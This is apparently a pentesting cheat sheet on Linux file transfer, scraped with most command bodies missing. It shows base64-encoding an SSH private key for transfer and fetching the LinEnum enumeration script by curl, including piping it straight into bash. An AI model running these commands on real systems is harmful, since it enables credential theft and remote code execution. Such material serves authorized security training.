Linux
BASE64
Check MD5 Hash
md5sum id_rsaEncode
In this example we are encoding SSH Key to Base64
cat id_rsa |base64 -w 0;echoDecode
echo -n 'justimaginethisissomerandomhashbecauseyoudontcareandidontcare=` | base64 -d > id_rsaCURL
Regular Download
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.shFileless Download
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bashMultiple File Upload
WGET
Regular Download
Fileless Download
Upload
Mechanism is similar to Windows web upload using uploadserver module:
Secure HTTPS Web Server
Start Web Server
Create a Self-Signed Certificate
Start Web Server
Alternative Methods
Creating a Web Server with Python3
Creating a Web Server with Python2.7
Creating a Web Server with PHP
Creating a Web Server with Ruby
Bash(/dev/tcp)
Connect to the Target Webserver
HTTP GET Request
Print the Response
SCP
SSH is a protocol that allows secure access to remote computers. And we could use SCP utility which uses SSH protocol for transferring files
Preparation
Enabling the SSH Server
Starting the SSH Server
Checking for SSH Listening Port
Download
Upload
Last updated